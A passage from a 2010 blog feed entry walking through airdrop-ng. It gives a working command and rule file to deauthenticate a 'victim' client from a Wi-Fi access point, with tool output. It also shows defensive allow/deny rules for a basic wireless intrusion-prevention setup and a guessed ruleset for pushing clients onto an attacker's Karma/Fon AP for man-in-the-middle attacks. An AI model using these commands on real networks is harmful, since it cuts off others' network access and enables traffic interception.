/&gt;d/02:1F:28:65:AE:ED|01-23-5E-DF-AE-50&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Rule explanation:&lt;/b&gt;&lt;br /&gt;d = deny&lt;br /&gt;/&lt;bssid address=""&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;-- get this AP address from the airodump output&lt;br /&gt;|&lt;clients info=""&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;-- in this case a clients address&lt;br /&gt;&lt;br /&gt;&lt;b style="color: #3d85c6;"&gt;&lt;br /&gt;Run airdrop with new rule:&lt;/b&gt; &lt;i&gt;(Leave airodump running during this!!)&lt;/i&gt;&lt;br /&gt;Now run Airodrop-NG with the rules file you created above and your CSV output file from airodump-ng. Airdrop-NG will continuously loop through the rules file every second until you terminate the process.&amp;nbsp; This will hopefully keep your victim from having network access. &lt;br /&gt;&lt;br /&gt;root@ficti0n:~/#&lt;span style="color: red;"&gt; python airdrop-ng.py -b -i mon0 -t /root/Test-01.csv&amp;nbsp; -r docs/dropRules.conf&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: xx-small;"&gt;#################################################&lt;br /&gt;#&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Welcome to AirDrop-ng&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; #&lt;br /&gt;#################################################&lt;br /&gt;&lt;br /&gt;Rule Number 1&lt;br /&gt;d/02:1F:28:65:AE:ED|01-23-5E-DF-AE-50&lt;br /&gt;{'raw': 'd/02:1F:28:65:AE:ED|01-23-5E-DF-AE-50', 'state': 'd', 'clients': ['00:23:4E:DF:AE:70'], 'bssid': '02:1F:28:65:AE:ED'}&lt;br /&gt;Deny 00:23:4E:DF:AE:70 client to 02:1F:28:65:AE:ED bssid&lt;br /&gt;&lt;br /&gt;Attempting to TX 4 packets 1 times each&lt;br /&gt;Sent 4 packets 1 times each&lt;br /&gt;Waiting 1 sec in between loops&lt;br /&gt;&lt;br /&gt;Rule Number 1&lt;br /&gt;d/02:1F:28:65:AE:ED|01-23-5E-DF-AE-50&lt;br /&gt;{'raw': 'd/02:1F:28:65:AE:ED|01-23-5E-DF-AE-50', 'state': 'd', 'clients': ['00:23:4E:DF:AE:70'], 'bssid': '02:1F:28:65:AE:ED'}&lt;br /&gt;Deny 00:23:4E:DF:AE:70 client to 02:1F:28:65:AE:ED bssid&lt;br /&gt;&lt;br /&gt;Attempting to TX 4 packets 1 times each&lt;br /&gt;Sent 4 packets 1 times each&lt;br /&gt;Waiting 1 sec in between loops&lt;br /&gt;&lt;br /&gt;Rule Number 1&lt;br /&gt;d/02:1F:28:65:AE:ED|01-23-5E-DF-AE-50&lt;br /&gt;{'raw': 'd/02:1F:28:65:AE:ED|01-23-5E-DF-AE-50', 'state': 'd', 'clients': ['00:23:4E:DF:AE:70'], 'bssid': '02:1F:28:65:AE:ED'}&lt;br /&gt;Deny 00:23:4E:DF:AE:70 client to 02:1F:28:65:AE:ED bssid&lt;br /&gt;&lt;br /&gt;.....................&lt;br /&gt;...............................&lt;br /&gt;&lt;br /&gt;Airdrop-ng will now exit&lt;br /&gt;Sent 164 Packets&lt;br /&gt;&lt;br /&gt;Exiting Program, Please take your card mon0 out of monitor mode&lt;/span&gt;&lt;br /&gt;&lt;b&gt;&lt;br style="color: #3d85c6;" /&gt;&lt;span style="color: #3d85c6;"&gt;Poor Man’s WIPS:&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;Now for the defensive portion of this walkthrough. Let’s say you want to keep your client stations from roaming over to an evil Fon or a Karma AP. You can try this with the following setup.&lt;br /&gt;&lt;b&gt;&lt;br /&gt;Create a list of your station MAC's:&lt;/b&gt;&lt;br /&gt;11:22:33:44:55:66,21:2F:33:44:55:66,11:22:33:44:55:66&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Create the list of&amp;nbsp; your AP BSSID's:&lt;/b&gt;&lt;br /&gt;AB:AD:F2:14:00:00&lt;br /&gt;EA:CF:DF:AD:00:00&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Rules:&lt;/b&gt;&lt;br /&gt;Create a WIPS Rules file with the following rules&lt;br /&gt;&lt;br /&gt;Allow 3 clients to talk to AB:AD:F2:14:00:00&lt;br /&gt;a/AB:AD:F2:14:00:00|11:22:33:44:55:66,21:2F:33:44:55:66,11:22:33:44:55:66&lt;br /&gt;&lt;br /&gt;Allow 3 clients to talk to EA:CF:DF:AD:00:00&lt;br /&gt;a/EA:CF:DF:AD:00:00|11:22:33:44:55:66,21:2F:33:44:55:66,11:22:33:44:55:66&lt;br /&gt;&lt;br /&gt;Deny those 3 clients to any other access points&lt;br /&gt;d/any|11:22:33:44:55:66,21:2F:33:44:55:66,11:22:33:44:55:66&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;span style="color: #3d85c6;"&gt;MITM Attacks:&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;An attempted example from Schmoocon was an attack on clients via MITM. This example wasn’t shown during the demo because the presenters couldn’t get their monitors working correctly.. But I imagine the ruleset would be to deny all clients’ access to the legitimate BSSID's within your airodump output and allow them all access to your KARMA or perhaps FON AP. The presenters had their own FonRules which I am guessing would go something similar to the following, but I could be way off, this however should function similarly to what I think they were going to show us.&lt;br /&gt;&lt;b&gt;&lt;br /&gt;Make a list of local BSSID's: &lt;/b&gt;&lt;br /&gt;AB:AD:F2:14:00:00&lt;br /&gt;EA:CF:DF:AD:00:00&lt;br /&gt;&lt;br /&gt;&lt;b&gt;FON MAC:&lt;/b&gt;&lt;br /&gt;AB:CD:EF:12:34:56&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;span style="color: #3d85c6;"&gt;Add In some new rules: &lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Deny 3 clients to talk to AB:AD:F2:14:00:00&lt;br /&gt;d/AB:AD:F2:14:00:00|11:22:33:44:55:66,21:2F:33:44:55:66,11:22:33:44:55:66&lt;br /&gt;&lt;br /&gt;Deny 3 clients to talk to EA:CF:DF:AD:00:00&lt;br /&gt;d/EA:CF:DF:AD:00:00|11:22:33:44:55:66,21:2F:33:44:55:66,11:22:33:44:55:66&lt;br /&gt;&lt;br /&gt;Allow Access to my evil AP's: &lt;br /&gt;a/AB:CD:EF:12:34:56|any&lt;/clients&gt;&lt;/bssid&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;I have a couple other ideas for IDS monitoring combining other tools and also some malicious MITM I am messing around with that I will post in future posts... so far Airdrop-ng is a fun tool... enjoy...&lt;br /&gt;--Ficti0n&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5948768001255972621-4175200551893049594?l=console-cowboys.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://console-cowboys.blogspot.com/feeds/4175200551893049594/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://console-cowboys.blogspot.com/2010/02/airdrop-ng-basics-on-bt4-final.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5948768001255972621/posts/default/4175200551893049594'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5948768001255972621/posts/default/4175200551893049594'/><link rel='alternate' type='text/html' href='http://console-cowboys.blogspot.com/2010/02/airdrop-ng-basics-on-bt4-final.html' title='Airdrop-ng Basics on BT4 Final'/><author><name>Ficti0n</name><uri>http://www.blogger.com/profile/01503121397289908637</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry></feed>
